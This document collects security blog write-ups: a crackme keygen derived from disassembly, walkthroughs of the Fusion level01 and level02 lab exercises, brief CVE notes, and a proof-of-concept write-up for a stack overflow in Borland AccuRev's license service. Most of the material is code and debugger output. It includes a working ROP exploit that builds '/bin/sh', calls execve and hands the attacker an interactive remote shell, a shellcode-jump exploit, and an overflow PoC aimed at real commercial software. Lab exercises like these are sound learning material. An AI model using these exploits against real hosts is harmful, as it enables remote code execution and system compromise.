 print "[-] Host unreachable: %s" % err
 exit(-1)

print "[+] Connected.\n[+] Sending '%s'" % cmd
print repr(prepCmd(cmd))
d = s1.recv(1024)
s1.close()

How to solve a simple CrackMe

Crackmes: 4N006135 level-2

The “4N006135” by borismilner contains a total of four x86 binaries, each of them with an increasing level of difficulty. Level-0 and Level-1 are pretty straightforward, while Level-2 and Level-3 took me a bit more time and the Intel Software Developer’s Manual at hand.
In this post I’ll focus on (some aspects of) Level-2 and how I built the corresponding keygen in Python.

Let’s jump into it, and start with the following disassembled section in .text:


.text:004013E0                 mov     edi, 40D020h
.text:004013E5                 mov     ecx, 20h
.text:004013EA                 mov     al, 4Fh; 4Fh is the letter "O"
.text:004013EC                 rep stosb

REP executes an instruction (STOS) and decrease the value of ECX until ECX is 0. The value of ECX is 20h so this means 32 times.
STOS(B) copies the value (1 byte) contained in AL to [EDI] and increments/decrements (depending on the Direction Flag) EDI by 1. B can be replaced by W or D to copy the value of 2 or 4 bytes respectively.

In Python this would look something like this:


s = bytearray(chr(0x4f) * 32)

I’m using bytearray instead of string because we’ll need to modify part of this value (strings are immutable in Python).

Skip a few lines of useless code until:


.text:00401401                 rdtsc
.text:00401403                 mov     ebx, eax
.text:00401405                 push    ebx
.text:00401406                 push    40903Dh
.text:0040140B                 call    _printf

From the Intel manual:

The RDPMC (read performance-monitoring counter) and RDTSC (read time-stamp counter) instructions allow application programs to read the processor’s performance-monitoring and time-stamp counters, respectively.

[…]

The RDTSC instruction loads the current count of the time-stamp counter into the EDX:EAX registers.

The instruction is used as a pseudorandom number generator. The EAX part of the result is used as a User ID and stored in EBX for later usage.

Our keygen will ask for this value:


uid = int(raw_input("Enter User ID: "))

Moving on:


.text:00401413                 mov     edi, 40D020h
.text:00401418                 bt      ebx, 0
.text:0040141C                 jnb     short zero_bit_set
.text:0040141E                 mov     byte ptr [edi], 2Ah
.text:00401421 zero_bit_set: 
[...]                          

The value 40D020h came up before, but what is it? By observing all the remaining instructions of the program we can deduct that this is the memory location that will hold the final key (that we have to guess calculate), computed using a custom algorithm and the user ID random value.
A quick recap so far:
EDI – pointer to the memory location where the key is stored. This at the moment contains a string of 32 “O”s
EBX – the random User ID

The BT instruction takes the bit 0 of EBX and stores the result in the Carry Flag (CF). JNB jumps if CF is 0.
We are basically checking if the user ID number is even or not. If the number is odd the first value of the key will be 2Ah (symbol “*”) otherwise remains “O”.

Check if User ID number is even

Let’s add this to our python script:


if ((uid % 2) != 0):
 s[0] = chr(0x2a)

Then the program checks if the number of user ID is bigger than 0B16B00B5h


; zero_bit_set:
.text:00401421                 inc     edi
.text:00401422                 cmp     ebx, 0B16B00B5h
.text:00401428                 ja      short above_b16b00b5h
.text:0040142A                 mov     byte ptr [edi], 2Ah
.text:0040142D above_b16b00b5h:    
[...]             

if not, it changes the second value of the key to “*”

In Python:


if (uid <= 0x0b16b00b5):
 s[1] = chr(0x2a)

Then the Parity Flag (PF) is evaluated. This is, however, done over the value of EDI, which now will be 40D022h (we have performed “inc EDI” twice so far). 404D022h in binary is “10000001101000000100000” and so the PF will always be 0.


; above_b16b00b5h:  
.text:0040142D                 inc     edi
.text:0040142E                 jnp     short no_parity
.text:00401430                 mov     byte ptr [edi], 2Ah
.text:00401433 no_parity:  

the jump won’t be taken and the third value of the key will always be “*”.

Same for the 4th as shown in the next two lines:


; no_parity:
.text:00401433                 inc     edi
.text:00401434                 mov     byte ptr [edi], 2Ah

Let’s implement this in Python:


s[2] = chr(0x2a)
s[3] = chr(0x2a)

and analyse the next instructions:


.text:00401437                 mov     ecx, 1Ch
.text:0040143C get_byte:                               
.text:0040143C                 shr     ebx, 1
.text:0040143E                 mov     edx, 0
.text:00401443                 mov     eax, ebx
.text:00401445                 mov     esi, 1Ah
.text:0040144A                 div     esi
.text:0040144C                 test    ecx, 1
.text:00401452                 jz      short add_97
.text:00401454                 add     edx, 41h
.text:00401457                 mov     [edi], dl
.text:00401459                 inc     edi
.text:0040145A                 loop    get_byte
.text:0040145C                 jmp     short go_on
.text:0040145E add_97:                                
.text:0040145E                 add     edx, 61h
.text:00401461                 mov     [edi], dl
.text:00401463                 inc     edi
.text:00401464                 loop    get_byte
.text:00401466
.text:00401466 go_on:                                  
[...]

This is obviously a loop as we can see from the instruction at address 00401464.
LOOP decreases ECX and jumps to the specified address until ECX is 0. This is done 28 times (ECX is 1Ch).

PS.: remember that our EDI register still points to the third value of our key, since EDI was not increased after the last mov instruction at 00401434

What every cycle in the loop does is:

  • shift right the value of User ID by 1 bit
  • take the remainder of the division between User ID and 1Ah (User ID mod 26)
  • if the value of ECX is even, add 61h to the remainder; else, add 41h to the remainder
  • save the remainder value to EDI (our key, remember?)
  • increase EDI
  • decrease ECX

for x in range(28,0,-1):
 uid = uid >> 1
 z = uid % 26
 if ((x % 2) == 0):
  z += 0x61
 else:
  z += 0x41
 s[31-x] = chr(z) # starts from s[3] 

At the end we’ll have the final key value.
The remaining instructions of the program ask the user to insert the key, and the value entered is compared with the one just computed in memory.

If they are equal… we have found the right key!

Our final python script:


s = bytearray(chr(0x4f)*32)

uid = int(raw_input("Enter User ID: "))

if ((uid % 2) != 0):
 s[0] = chr(0x2a)

if (uid <= 0x0b16b00b5):
 s[1] = chr(0x2a)

s[2] = chr(0x2a)
s[3] = chr(0x2a)

for x in range(28,0,-1):
 uid = uid >> 1
 z = uid % 26
 if ((x % 2) == 0):
  z += 0x61
 else:
  z += 0x41
 s[31-x] = chr(z) # starts from s[3] 
 
print ("Password: %s" % s )
Win

Exploit-Exercises – Fusion Level01

exploit-exercises.com provides a variety of virtual machines, documentation and challenges that can be used to learn about a variety of computer security issues such as privilege escalation, vulnerability analysis, exploit development, debugging, reverse engineering, and general cyber security issues.

In this post I’m going to explain how I solved level01 of Fusion, a pretty simple stack-based buffer overflow vulnerability exercise with the added complexity of ASLR.
The binary is called “level01” and can be found inside the Fusion VM, path “/opt/fusion/bin”. Source code is provided and available here.

fusion@fusion:/opt/fusion/bin$ cat /proc/sys/kernel/randomize_va_space 
2

Most of the security mechanisms to prevent exploitation are disabled in this level 🙂

deimos:fusion claudio$ ~/tools/checksec.sh --file level01
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
No RELRO        No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   level01

The vulnerability can be easily spotted with a quick look at the source code. The function “realpath” in “fix_path” is copying a user-controlled string into a buffer of 128 bytes (without validating the string length).

#include "../common/common.c"    

int fix_path(char *path)
{
  char resolved[128];     <---------- destination buffer
  
  if(realpath(path, resolved) == NULL) return 1;     <---------- path is the user controllable value
  strcpy(path, resolved);
}

char *parse_http_request()
{
  char buffer[1024];
  char *path;
  char *q;

  // printf("[debug] buffer is at 0x%08x :-)\n", buffer); 😀

  if(read(0, buffer, sizeof(buffer)) <= 0) errx(0, "Failed to read from remote host");
  if(memcmp(buffer, "GET ", 4) != 0) errx(0, "Not a GET request");

  path = &buffer[4];
  q = strchr(path, ' ');
  if(! q) errx(0, "No protocol version specified");
  *q++ = 0;
  if(strncmp(q, "HTTP/1.1", 8) != 0) errx(0, "Invalid protocol");

  fix_path(path);

  printf("trying to access %s\n", path);

  return path;
}

int main(int argc, char **argv, char **envp)
{
  int fd;
  char *p;

  background_process(NAME, UID, GID); 
  fd = serve_forever(PORT);
  set_io(fd);

  parse_http_request(); 
}

There is also an useful hint (from level00, which is identical, but no ASLR):

Storing your shellcode inside of the fix_path ‘resolved’ buffer might be a bad idea due to character restrictions due to realpath(). Instead, there is plenty of room after the HTTP/1.1 that you can use that will be ideal (and much larger).

We’ll keep that in mind.

Now, we know that due to ASLR, stack will be randomised in memory and we can’t “hardcode” stack addresses in the payload. Since PIE is not enabled (thus .text section not randomised) on the binary, the idea is to:

  1. look at registers for pointers to our shellcode
  2. reuse code found inside .text section of the binary to jump to the desired location
  3. execute shellcode

Let’s attach gdb to our process and set the debugger to follow child processes when fork is used.

fusion@fusion:/opt/fusion/bin$ ps aux | grep level01
20001     3005  0.0  0.0   1816   268 ?        Ss   15:18   0:00 /opt/fusion/bin/level01
fusion    3752  0.0  0.1   4184   800 pts/0    S+   16:40   0:00 grep --color=auto level01
fusion@fusion:/opt/fusion/bin$ sudo gdb
password for fusion: 
GNU gdb (Ubuntu/Linaro 7.3-0ubuntu2) 7.3-2011.08 Copyright (C) 2011 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "i686-linux-gnu". For bug reporting instructions, please see: <http://bugs.launchpad.net/gdb-linaro/>. 
(gdb) set follow-fork-mode child 
(gdb) attach 3005 
Attaching to process 3005 Reading symbols from /opt/fusion/bin/level01...done. Reading symbols from /lib/i386-linux-gnu/libc.so.6...Reading symbols from /usr/lib/debug/lib/i386-linux-gnu/libc-2.13.so...done. done. Loaded symbols for /lib/i386-linux-gnu/libc.so.6 Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done. Loaded symbols for /lib/ld-linux.so.2 0xb78b9424 in __kernel_vsyscall () 
(gdb) c Continuing.

The following script should overwrite EBP and EIP with custom values:

import socket

T = "172.16.165.130"   # IP of Fusion VM
P = 20001    # level01 is listening on port 20001

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((T,P))

EBP = "BBBB"
EIP = "CCCC"
path = 'A' * 135 + EBP + EIP
shellcode = "\xCC" * 500    

req = "GET {} HTTP/1.1 {}".format(path,shellcode)  # remember the hint?

s.send(req)
s.close()

and as expected, in gdb:

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 3796]
0x43434343 in ?? ()

(gdb) i r ebp eip
ebp            0x42424242	0x42424242
eip            0x43434343	0x43434343

The content of the stack:

(gdb) i r esp
esp            0xbfe7e450	0xbfe7e450
(gdb) x/80x $esp-80
0xbfe7e400:	0x41414141	0x41414141	0x41414141	0x41414141
0xbfe7e410:	0x41414141	0x41414141	0x41414141	0x41414141
0xbfe7e420:	0x41414141	0x41414141	0x41414141	0x41414141
0xbfe7e430:	0x41414141	0x41414141	0x41414141	0x41414141
0xbfe7e440:	0x41414141	0x41414141	0x42424242	0x43434343
0xbfe7e450:	0xbfe7e400	0x00000020	0x00000004	0x001761e4
0xbfe7e460:	0x001761e4	0x000027d8	0x20544547	0x41414141
0xbfe7e470:	0x41414141	0x41414141	0x41414141	0x41414141
0xbfe7e480:	0x41414141	0x41414141	0x41414141	0x41414141
0xbfe7e490:	0x41414141	0x41414141	0x41414141	0x41414141
0xbfe7e4a0:	0x41414141	0x41414141	0x41414141	0x41414141
0xbfe7e4b0:	0x41414141	0x41414141	0x41414141	0x41414141
0xbfe7e4c0:	0x41414141	0x41414141	0x41414141	0x41414141
0xbfe7e4d0:	0x41414141	0x41414141	0x41414141	0x41414141
0xbfe7e4e0:	0x41414141	0x41414141	0x41414141	0x41414141
0xbfe7e4f0:	0x42414141	0x43424242	0x00434343	0x50545448
0xbfe7e500:	0x312e312f	0xcccccc20	0xcccccccc	0xcccccccc
0xbfe7e510:	0xcccccccc	0xcccccccc	0xcccccccc	0xcccccccc
0xbfe7e520:	0xcccccccc	0xcccccccc	0xcccccccc	0xcccccccc
0xbfe7e530:	0xcccccccc	0xcccccccc	0xcccccccc	0xcccccccc
(gdb) 

Our “path” value is duplicated. The one on the top of the stack (lower addresses) is contained within the “resolved[128]” buffer, while the other in the “buffer[1024]” buffer. Near the memory address 0xbfe7e500 (0xbfe7e505 to be precise), the beginning of our shellcode.

The current value of ESP is 0xbfe7e450 and the value contained at this memory address is 0xbfe7e400 which points somewhere in the middle of our “path” string. Bingo!
We can find the location of a “ret” instruction inside level01 and use it to jump into our controlled string. There is, however, a problem. 0xbfe7e400 is pointing to the “reserved” buffer and we wanted to avoid that (read the hint at the beginning of the article).

A possible solution is to insert a short JMP forward instruction to the second buffer, where it will be taken again (remember that path is duplicated) and move us to our shellcode. The CPU will execute also other instructions on our second buffer, but it won’t be a problem (lots of ‘inc ecx’ which are safe).

Let’s find a ret instruction and adjust the python script (we’ll also insert some nops before the shellcode, since calculations are not precise):

fusion@fusion:/opt/fusion/bin$ objdump -d level01 | grep ret
 80488b9:	c3                   	ret    
 8048bf4:	c3                   	ret    
 8048c22:	c3                   	ret    
 8048c64:	c3                   	ret    
 8048c77:	c3                   	ret    
 8048ca8:	c3                   	ret    
 8048d53:	c3                   	ret    
 8049068:	c3                   	ret    
 8049222:	c3                   	ret    
 804938e:	c3                   	ret    
 8049457:	c3                   	ret       <--- I'll use this, for no particular reason
 8049529:	c3                   	ret    
 804960c:	c3                   	ret    
 804967f:	c3                   	ret    
 80496f2:	c3                   	ret    
 80497e1:	c3                   	ret    
 8049814:	c3                   	ret    
 8049854:	c3                   	ret    
 8049979:	c3                   	ret    
 80499c1:	c3                   	ret    
 8049a30:	c3                   	ret    
 8049a40:	f3 c3                	repz ret 
 8049a45:	c3                   	ret    
 8049a79:	c3                   	ret    
 8049a95:	c3                   	ret

Python:

import socket
import struct

T = "172.16.165.130"
P = 20001

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((T,P))


EBP = "BBBB"
EIP = "CCCC"
path = '/' + 'A'*111 + '\xeb\x70\x90\x90' + 'A' * 20 + EBP + EIP    # eb 0x70  jmp somewhere in the second buffer, then jmp again to our shellcode (path is duplicated in the stack)

shellcode = "\x90"*100 + "\xCC"*500

path = path[:-4] + struct.pack("I",0x8049457)   # replace the value of EIP

req = "GET {} HTTP/1.1 {}".format(path, shellcode)

s.send(req)
s.close()

and run…

Program received signal SIGTRAP, Trace/breakpoint trap.
[Switching to process 4487]
0xbfe7e56b in ?? ()

(gdb) x/20i $eip-10
   0xbfe7e561:	nop
   0xbfe7e562:	nop
   0xbfe7e563:	nop
   0xbfe7e564:	nop
   0xbfe7e565:	nop
   0xbfe7e566:	nop
   0xbfe7e567:	nop
   0xbfe7e568:	nop
   0xbfe7e569:	nop
   0xbfe7e56a:	int3   
=> 0xbfe7e56b:	int3   
   0xbfe7e56c:	int3   
   0xbfe7e56d:	int3   
   0xbfe7e56e:	int3   
   0xbfe7e56f:	int3   
   0xbfe7e570:	int3   
   0xbfe7e571:	int3   
   0xbfe7e572:	int3   
   0xbfe7e573:	int3   
   0xbfe7e574:	int3

It worked! We are exactly where we want to be.

VMware Unified Access Gateway and Horizon View (CVE-2017-4907)

There is a heap-based buffer overflow vulnerability which affects VMware Unified Access Gateway (2.5.x, 2.7.x, 2.8.x prior to 2.8.1) and Horizon View (7.x prior to 7.1.0, 6.x prior to 6.2.4). This issue may be exploited remotely to execute code on the security gateway. VMware Unified Access Gateway 2.9 is not affected. This issue has been addressed in VMware Unified Access Gateway 2.8.1, Horizon View 7.1.0 and 6.2.4.

https://www.vmware.com/us/security/advisories/VMSA-2017-0008.html

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-4907

Commvault Edge (CVE-2017-3195)

Affected software: Commvault Edge 11 SP6

A stack based buffer overflow in the Commvault Edge Communication Service (cvd) allows remote attackers to execute arbitrary code via crafted packets, exploiting weaknesses in the key exchange mechanism. Access to TCP port 8400 (by default) on the target machine is necessary to exploit this vulnerability.

An unauthenticated remote attacker can execute arbitrary code with root/SYSTEM privileges.

http://kb.commvault.com/article/SEC0013

https://www.kb.cert.org/vuls/id/214283

https://www.exploit-db.com/exploits/41823/

Exploit-Exercises – Fusion Level02

The description from exploit-exercises:

This level deals with some basic obfuscation / math stuff.

This level introduces non-executable memory and return into libc / .text / return orientated programming (ROP).

Fusion Level02 - Binary protections

Let’s have a look at the source code:

#include "../common/common.c"    

#define XORSZ 32

void cipher(unsigned char *blah, size_t len)
{
  static int keyed;
  static unsigned int keybuf[XORSZ];

  int blocks;
  unsigned int *blahi, j;

  if(keyed == 0) {
      int fd;
      fd = open("/dev/urandom", O_RDONLY);
      if(read(fd, &keybuf, sizeof(keybuf)) != sizeof(keybuf)) exit(EXIT_FAILURE);
      close(fd);
      keyed = 1;
  }

  blahi = (unsigned int *)(blah);
  blocks = (len / 4);
  if(len & 3) blocks += 1;

  for(j = 0; j < blocks; j++) {
      blahi[j] ^= keybuf[j % XORSZ];
  }
}

void encrypt_file()
{
  // http://thedailywtf.com/Articles/Extensible-XML.aspx
  // maybe make bigger for inevitable xml-in-xml-in-xml ?
  unsigned char buffer[32 * 4096];

  unsigned char op;
  size_t sz;
  int loop;

  printf("[-- Enterprise configuration file encryption service --]\n");
  
  loop = 1;
  while(loop) {
      nread(0, &op, sizeof(op));
      switch(op) {
          case 'E':
              nread(0, &sz, sizeof(sz));
              nread(0, buffer, sz);
              cipher(buffer, sz);
              printf("[-- encryption complete. please mention "
              "474bd3ad-c65b-47ab-b041-602047ab8792 to support "
              "staff to retrieve your file --]\n");
              nwrite(1, &sz, sizeof(sz));
              nwrite(1, buffer, sz);
              break;
          case 'Q':
              loop = 0;
              break;
          default:
              exit(EXIT_FAILURE);
      }
  }
      
}

int main(int argc, char **argv, char **envp)
{
  int fd;
  char *p;

  background_process(NAME, UID, GID); 
  fd = serve_forever(PORT);
  set_io(fd);

  encrypt_file();
}

The vulnerability here is clear: user input of arbitrary size is copied into a local buffer of fixed size (32*4096). A classic stack-based buffer overflow.

Unfortunately our input is encrypted (xored) with a different pseudorandom key obtained from /dev/urandom every time we connect to the service (cipher function).

The key is, however, reused within the same session. The output of this encryption is returned to the user.

void cipher(unsigned char *blah, size_t len)  
{
  static int keyed;
  ...
  if(keyed == 0) {
      ...
      keyed = 1;
  }
  ...
}

Since we are in a while loop and we can call multiple times the vulnerable routine.

We’ll use the first cycle to extract the key (sending just null bytes) and then send our payload encrypted with the same key to exploit the buffer overflow.

The cipher routine will actually “decrypt” our payload (how XOR works) allowing us to overwrite EIP with the desired value.

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 8106]
0x41414141 in ?? ()
(gdb) i r
eax            0x51	81
ecx            0xbfb33c7b	-1078772613
edx            0x1	1
ebx            0xb784cff4	-1216032780
esp            0xbfb53c90	0xbfb53c90
ebp            0x41414141	0x41414141
esi            0x0	0
edi            0x0	0
eip            0x41414141	0x41414141
eflags         0x10246	[ PF ZF IF RF ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51
(gdb) x/4x $esp
0xbfb53c90:	0x41414141	0x41414141	0x41414141	0x41414141
(gdb) 

EIP is now under control and ESP is pointing to user controlled input.

We cannot execute our shellcode directly from the stack due to the Non-Executable Stack policy but, since the binary is not a PIE we can probably craft a chain of libc function calls (using the GOT) to obtain a shell.

Remember also that stdin and stdout are redirected to the socket connection.

(gdb) disas 0x80489b0
Dump of assembler code for function execve@plt:
   0x080489b0 <+0>:	jmp    DWORD PTR ds:0x804b3d8
   0x080489b6 <+6>:	push   0xc0
   0x080489bb <+11>:	jmp    0x8048820
End of assembler dump.

The “system()” function is not available, but we have “execve()” which also works fine. Since there is no “/bin/sh” string in the binary we must write it ourselves to a writable memory location (how about bss?) with a bunch of “snprintf()” calls.

(gdb) disas 0x80489f0
Dump of assembler code for function snprintf@plt:
   0x080489f0 <+0>:	jmp    DWORD PTR ds:0x804b3e8
   0x080489f6 <+6>:	push   0xe0
   0x080489fb <+11>:	jmp    0x8048820
End of assembler dump.

0804b418 g       *ABS*	00000000              __bss_start
0804b420  w    O .bss	00000004              environ@@GLIBC_2.0

root@fusion:/opt/fusion/bin# ../../ROPgadget-v3.3/ROPgadget -file level02 -g -string "/bin/sh"
Gadgets information
============================================================

Total strings found: 0

root@fusion:/opt/fusion/bin# ../../ROPgadget-v3.3/ROPgadget -file level02 -g -string "sh"
Gadgets information
============================================================

Total strings found: 0

root@fusion:/opt/fusion/bin# ../../ROPgadget-v3.3/ROPgadget -file level02 -g -string "/bin/"
Gadgets information
============================================================
0x08049d78: "/bin/"

Total strings found: 1

root@fusion:/opt/fusion/bin# ../../ROPgadget-v3.3/ROPgadget -file level02 -g -string "s"
Gadgets information
============================================================
0x08048142: "s"
...

Total strings found: 109

root@fusion:/opt/fusion/bin# ../../ROPgadget-v3.3/ROPgadget -file level02 -g -string "h"
Gadgets information
============================================================
0x080484e1: "h"
...

Total strings found: 51

The stack will look something similar:

Stack Layout

After the execve we should be able to interact with the remote system:

Claudios-MacBook-Pro:fusion claudio$ python level02-1.py 
[*] Obtaining key
[+] Key acquired 678e14cb51840e93837e0a6200b7ed53d775eef2dd431b6fc5db063b78848fcccdc3bab6954e37af336ad172d5962272ffcc15ca718fc1d4f88bd7636a59e952364ef7e5f4cc3cbf592e9e91e03476a2526b62eeb7d5eed0e2903823e2e0e4248a2cd5123d15539ad07bf8d5c0f34e0c6110a51a1b04a1a6b7eb520bea7d6c85
[*] Encrypting payload
[*] Sending exploit
[+] Done... enjoy!
id
uid=20002 gid=20002 groups=20002
hostname
fusion
ls
bin
boot
cdrom
dev
etc
home
initrd.img
initrd.img.old
lib
media
mnt
opt
proc
rofs
root
run
sbin
selinux
srv
sys
tmp
usr
var
vmlinuz
vmlinuz.old

And finally the python exploit

import socket
import struct 
import time
import telnetlib

T = "172.16.165.130"
P = 20002
key_sz = 32*4

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((T,P))

def crypt(value, key): 
 return ''.join(chr(ord(value[x])^ord(key[x % key_sz])) for x in range(len(value)))
  
print "[*] Obtaining key" 
s.recv(100) # message from srv
s.send("E")
s.send(struct.pack("I", key_sz))
s.send("\x00" * key_sz)
time.sleep(0.5)
s.recv(121) # message from srv
sz = s.recv(4)
sz = struct.unpack("I", sz)[0]
key = s.recv(sz)
print "[+] Key acquired %s" % key.encode("hex")

payl = "A"*131088 #junk
payl += struct.pack("I",0x08049734) #eip -> ret

payl += struct.pack("I",0x080489f0) # snprintf    int snprintf(char *str, size_t size, const char *format, ...);
payl += struct.pack("I",0x080499bc) # ppppr
payl += struct.pack("I",0x0804b420) # snprintf - dest: bss[0]
payl += struct.pack("I",0x00000006) # snprintf - size: 6 (including null byte)
payl += struct.pack("I",0x08049d7d) # snprintf - format: "%s"
payl += struct.pack("I",0x08049d78) # snprintf - src: "/bin/"

payl += struct.pack("I",0x080489f0) # snprintf
payl += struct.pack("I",0x080499bc) # ppppr
payl += struct.pack("I",0x0804b425) # snprintf - dest: bss[5]
payl += struct.pack("I",0x00000002) # snprintf - size: 2
payl += struct.pack("I",0x08049d7d) # snprintf - format: "%s"
payl += struct.pack("I",0x08049d74) # snprintf - src: 's'

payl += struct.pack("I",0x080489f0) # snprintf
payl += struct.pack("I",0x080499bc) # ppppr
payl += struct.pack("I",0x0804b426) # snprintf - dest: bss[6]
payl += struct.pack("I",0x00000002) # snprintf - size: 2
payl += struct.pack("I",0x08049d7d) # snprintf - format: "%s"
payl += struct.pack("I",0x08048bf4) # snprintf - src: 'h'

payl += struct.pack("I",0x080489b0) # execve
payl += struct.pack("I",0xcccccccc) # last return
payl += struct.pack("I",0x0804b420) # execve - command: (bss) "/bin/sh"
payl += "\x00"*8 #execve args + env

print "[*] Encrypting payload"
payl = crypt(payl, key)
payl_size = len(payl)
print "[*] Sending exploit"
s.send("E")
s.send(struct.pack("I", payl_size))
s.send(payl)
time.sleep(0.5)
s.recv(120) # message from srv
sz = s.recv(4)
sz = struct.unpack("I", sz)[0]
buff = s.recv(sz)

s.send("Q")

print "[+] Done... enjoy!"
t = telnetlib.Telnet()
t.sock = s
t.interact()

CVE to PoC – CVE-2015-6946

Software: Borland AccuRev

In this writeup, I will explain how I wrote a Proof of Concept exploit for CVE-2015-6946:

“Multiple stack-based buffer overflows in the Reprise License Manager service in Borland AccuRev allow remote attackers to execute arbitrary code via the (1) akey or (2) actserver parameter to the the activate_doit function or (3) licfile parameter to the service_startup_doit functionality.”

The Product

“AccuRev is a software configuration management tool which addresses complex parallel and distributed development environments with its stream-based architecture, to accelerate your development process and improve asset reuse.”
The Borland AccuRev suite is adopted by well-known companies such as Bet365, SanDisk, McAfee and more. It is on the market since 2002 and well-positioned against other high-profile SCM products.
The software follows a client-server architecture and both components (server and client) are compatible with multiple operating systems including Windows, Linux, Solaris and Mac OSX (client only) and are distributed in 32 and 64 bit versions.

The affected versions of the product are version 6.2.2 and before.

The following document describes a scenario in which the software is installed on a Windows Server 2008 R2 64bit machine with the Windows Firewall configured to allow traffic on TCP port 5054.

The vulnerability

The CVE includes 3 different vulnerabilities in the RLM service installed by the Borland AccuRev suite, and lists affected parameters and function names.

More information can be found here:

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6946

http://www.zerodayinitiative.com/advisories/ZDI-15-412

http://www.zerodayinitiative.com/advisories/ZDI-15-414

http://www.zerodayinitiative.com/advisories/ZDI-15-416

AccuRev on Windows Systems

As the name of the service suggests, the binary is called “rlm.exe” and is located inside the AccuRev installation folder.

The service is running under SYSTEM privileges, which means that successful exploitation may lead to a complete compromise of the target host.

The binary was also compiled without DEP/NX and PIE flags:

By doing a simple search for the “akey” string (one of the parameter mentioned in the CVE description) in the binary shows that this parameter is used as part of a webpage, which means that the way to trigger the vulnerability is probably through HTTP requests.

The service is listening on port 5054. The webpage is pretty simple and displays a login form where you are prompted for username and password to be able to access the restricted area.
As we found out, this form can be easily bypassed by browsing directly to the pages in the “authenticated area”. (The default credentials are admin:admin)

The interesting pages are:

  • Activate License, that sends data to “/goform/activate_doit”; and
  • Manage Windows Service, that interacts with “/goform/service_setup_doit” (this functionality is apparently NOT available in Linux)

Since the different vulnerabilities could be triggered using the same principle and logics, in this post I will only describe how the “akey” parameter in the “activate_doit” functionality can be used to overflow its buffer and alter the return value of the corresponding stack frame.

I wrote a custom Python fuzzer to identify the length of the payload needed to overflow the “akey” buffer. A string with 1000 bytes seems to be enough to trigger the overflow:

The cause of this vulnerability was found to be in the subroutine located at memory address 0046D480 (called by another subroutine at 0046D600), which performs an “sprintf” call to construct a particular string (html input element) with the data inserted by the user and save the result on the stack.

As shown in the following screenshots, this function is used more than once to reconstruct multiple hidden “input” HTML elements using all the values sent through the POST request to “/goform/activate_doit”.
The R8 register contains the key (parameter name), while R9 the value from the user. RDX is used as the “format” value of the sprintf function.

When the akey parameter is processed, the value is copied into the stack, overflows the buffer and partially overwrite the return address of the stack frame. The partial overwrite is due to 2 characters appended to the user input (“>), which are the terminators of the input HTML element saved on the stack by the sprintf function.

!exploitable 
Exploitability Classification: EXPLOITABLE 
Recommended Bug Title: Exploitable - Stack Buffer Overrun (/GS Exception) starting at rlm+0x000000000016a44d (Hash=0x53e180a9.0xb2d1267c)

An overrun of a protected stack buffer is detected. A stack canary is protecting the software from being exploited using return address overwrites.

Some techniques to bypass this protection:

  • Stack canary value information leakage (rare, and exploitable only in particular situations)
  • Stack canary value guessing (as these values are non-static the only way would be to brute-force them, which in this case is not possible since the software would crash on failed exploitation attempts and require manual restart each time)
  • SEH pointers overwrite, which is currently exploitable only on 32bit systems due to architectural differences between the two platforms.
    The server component of AccuRev is compatible only on 64bit systems thus making the vulnerability hard to turn into a remote code execution. However, further analysis of the binary might reveal other conditions that can help the attacker bypassing the mitigations in place and obtain full control of the target host.

AccuRev on Linux Systems

The situation is different on Linux servers (32 or 64bits) where stack canaries are not present and the attacker can control part of the return address. The partial overwrite is due to 2 characters appended to the user input (“>), which are the terminators of the input HTML element saved on the stack by the sprintf function.

Detection and Mitigations

The attack is performed over HTTP protocol. Malicious requests can be detected by analyzing the HTTP requests to the RLM service and identify parameter names corresponding to the one described in the CVE (“akey”, “actserver” and “licfile”). The length of the value of these parameters should be verified and the request dropped if above what is considered a normal threshold (256 bytes should probably be enough for all these parameters).

An additional mitigation would be to allow only printable characters as the values of the “actserver” and “licfile” parameters.

Summary

  • A total of 3 different stack based buffer overflow vulnerabilities affect the RLM service installed by default by the Borland AccuRev server software.
  • All the vulnerabilities can be triggered remotely by an attacker that has access to TCP port 5054 (with default settings) on the target server.
  • Successful exploitation may lead to denial of service conditions or potentially remote code execution.
  • Exploitation is mitigated by the “/GS” buffer security checks (aka stack cookies/canaries).
  • The vulnerability in “licfile” cannot be triggered in Linux system since the “goform/service_setup_doit” is not available.

Scripts

The following are two different PoC python scripts that can be used to replicate the issue:


import urllib
import httplib
import sys


WELCOME = '''
------------------------------------------------------------------
Borland AccuRev RLM Service stack-based buffer overflow (PoC)

Multiple stack-based buffer overflows in the Reprise License Manager service 
in Borland AccuRev allow remote attackers to execute arbitrary code via the 
(1) akey or (2) actserver parameter to the the activate_doit function or 
(3) licfile parameter to the service_startup_doit functionality.

akey will be used in this PoC
Use payload length of 1000 for Windows systems, 984 for Linux

CVE-2015-6946
------------------------------------------------------------------
'''

HELP = '''Usage: python {0} target payload-length
Example: python {0} 192.168.0.100 1000
'''.format(sys.argv[0])


print WELCOME

if (len(sys.argv) < 3):
 print HELP
 exit(-1)

target = sys.argv[1]
length = int(sys.argv[2])

p = {
	'actserver'	: 'www.reprisesoftware.com', 	# this parameter is also vulnerable
												# same length as akey for the payload
	'isv' 		: 'reprise',
	'akey'		: 'A'* length,
	'hostid'	: 'hostid',
	'count'		: '1',
	'lf' 		: 'C:\Windows\junk',
	'ok' 		: 'REQUEST+LICENSE'
	}
# All the parameters from the original POST request

try:
 print "[*] Trying to connect to %s" % target
 http_con = httplib.HTTPConnection(target + ":5054")
 http_con.request("GET", "/goform/activate_doit?%s" % urllib.urlencode(p))
except:
 print "[-] Connection failed"
 exit(-1)
 
print "[+] Request sent"

'''
Windows:
970 bytes will overwrite cookie and triggers the stack protection mechanism
1000 bytes will partially overwrite the return address
1004 bytes will completely overwrite the return address but the flow of the program
     will cause a read access error to an invalid memory address (another function  is
     called just after the sprintf when the payload is over 1000 bytes)


0:007> g
Breakpoint 0 hit
rlm+0x6d63d:
